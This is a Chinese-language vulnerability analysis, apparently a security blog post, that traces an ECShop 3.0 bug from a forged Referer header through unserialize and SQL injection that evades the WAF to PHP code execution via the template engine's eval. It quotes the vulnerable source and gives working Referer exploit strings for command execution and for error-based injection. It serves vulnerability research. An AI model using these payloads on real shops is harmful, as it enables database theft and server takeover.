Ecshop SQL注入到命令执行…

0x01

测试版本

Ecshop 3.0

漏洞分析

漏洞的利用点在user.php中,其实includes\cls_template.php中的insert_mod方法才是该漏洞的关键。

1
2
3
4
5
6
7
8
function  insert_mod($name)  // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para);
}

最后的动态函数调用才导致后续的利用能进行。接着查看引用insert_mod的地方。

接下拉的目的就是寻找调用display函数,并且某个参数可控。
紧接着就是要看到user.php中的306-331行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
elseif  ($action  ==  'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}

}

$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}

$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

可以看到$back_act可以通过HTTP_REFERER控制,接着通过assgindisplay分别进行赋值和渲染模板。
关于assgin方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function  assign($tpl_var, $value  =  '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

default\user_passport.dwt53-60行中。

1
2
3
4
5
6
7
8
<tr>
<td>&nbsp;</td>
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
</td>
</tr>

跟到includes\cls_template.php,看到display方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function  display($filename, $cache_id  =  '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);

$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);

if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;

echo $out;
}

模板文件传入fetch方法中,在其中通过make_compiled进行编译。

1
2
3
...
$out = $this->make_compiled($filename);
...

通过传递Referer,效果如下。

接着回到dispaly,之后是以$this->_echash分割的操作。

1
$k  =  explode($this->_echash,  $out);

其中$this->_echash是一个固定的值,2.0和3.0只不同。

1
var  $_echash  =  '45ea207d7a2b68c49582d2d22adf953a';

这样就可以通过传递45ea207d7a2b68c49582d2d22adf953a???的形式给Referer,进而进入到insert_mod方法中,接着看到insert_mod方法。

1
2
3
4
5
6
7
8
function  insert_mod($name)  // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para);
}

$name是可控的,那么利用insert_xxxReferer应为45ea207d7a2b68c49582d2d22adf953axxx|serialize($para),这样就能控制动态函数的函数名以及参数值了。
接着就是寻在可以被利用的insert_xxx,看到文件includes\lib_insert.php,其中insert_ads存在可控的参数以及数据库语句拼接操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function  insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
...
$ads = array();
$position_style = '';

foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
...
$position_style = 'str:' . $position_style;

$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;

$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

$GLOBALS['smarty']->caching = $need_cache;

return $val;
}

这里的$sql参数中,idnum是可控的,这里有两种利用方式,一种是limit之后的报错注入,不过存在版本限制,Mysql<5.7.18才可以;另一种利用方式是二次注入进而造成命令执行。
接下来要对position_style赋值,其中需要绕过$row['position_id'] != $arr['id']的限制,这里使用union select就能做到。但是在3.0版本中,存在WAF,在includes\safety.php

1
'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)",

这里可以用通过idnum想配合的方式绕过,同时引入/**/ORDER BY过滤。

1
2
3
$id = "'union/*";
$num = "*/ select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,payload,10--";
// 27756e696f6e2f2a是"'union/*"的十六进制

这里记住id序列化之后的参数位置要在num之后。

紧接着$position_style传递进入fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
function  fetch($filename, $cache_id  =  '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;

if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
...

这里再进入fetch_str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function  fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
if (!function_exists('version_compare') || version_compare(phpversion(), '5.3.0', '<')) {
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
} else {
return include(ROOT_PATH . 'includes' . DIRECTORY_SEPARATOR . 'patch' . DIRECTORY_SEPARATOR . 'includes_cls_template_fetch_str.php');
}
}

这里的ECS_ADMIN是默认没有定义。跟到smarty_prefilter_preCompile,该函数是用来编译生成模板文件的,其中会有过滤但是不影响paylod的关键字。回到fetch_str,接下是过滤一些文件操作以及危险的关键字。关键在最后几行。

1
2
3
4
5
if  (!function_exists('version_compare')  ||  version_compare(phpversion(),  '5.3.0',  '<'))  {
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
} else {
return include(ROOT_PATH . 'includes' . DIRECTORY_SEPARATOR . 'patch' . DIRECTORY_SEPARATOR . 'includes_cls_template_fetch_str.php');
}

进入if的条件是version_compare函数不存在或者php<5.3,前者version_compare是默认存在了,测试版本是php=5.6.27,因而进入includes\patch\includes_cls_template_fetch_str.php

1
2
3
<?php
$template = $this;
return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) use(&$template){return $template->select($r[1]);}, $source);

能看出来和if中的正则一模一样,接着跟到select函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function  select($tag)
{
$tag = stripslashes(trim($tag));

if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
{
return '';
}
elseif ($tag{0} == '$') // 变量
{
// if(strpos($tag,"'") || strpos($tag,"]"))
// {
// return '';
// }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
...

这里将首字符设置为$就能进入get_val函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function  get_val($val)
{
if (strrpos($val, '[') !== false)
{
if (!function_exists('version_compare') || version_compare(phpversion(), '5.3.0', '<')) {
$val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
} else {
include(ROOT_PATH . 'includes' . DIRECTORY_SEPARATOR . 'patch' . DIRECTORY_SEPARATOR . 'includes_cls_template_get_val.php');
}
}

if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}

if (empty($val))
{
return '';
}

if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);

foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}
...

return $p;
}

紧接着更到make_var函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function  make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
...

return $p;
}

这里会造成一个]需要闭合,一个]需要过滤。最后来到了_eval

1
2
3
4
5
6
7
8
9
function  _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();

return $content;
}

通过拼接,再调用eval执行。

0x02

函数调用栈

1
display->insert_mod->insert_ads->fetch->fetch_str->selet->get_val->make_val->_eval

Poc(命令执行):

1
2
0x7b2469646c6566697265275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d
// {$idlefire'];echo phpinfo/**/();//} phpinfo()会被过滤。

exp:

1
2
Referer:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:120:"*/ select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,0x7b2469646c6566697265275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10--";s:2:"id";s:8:"'union/*";}

Show:

exp(报错注入):

1
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:68:"0,1 procedure analyse(extractvalue(rand(),concat('~',version())),1);";s:2:"id";s:8:"idlefire";}

Show:

0x03

One’s Storm

  1. 其中insert_bought_notes函数也可以造成报错注入,并且不需要procedure
1
45ea207d7a2b68c49582d2d22adf953abought_notes|a:1:{s:2:"id";s:47:"1 and extractvalue(1,concat('~',version())) -- ";}
  1. 利用还是比较巧妙,不断逻辑的缺陷
  2. Ecshop的模板引擎机制

(ง •_•)ง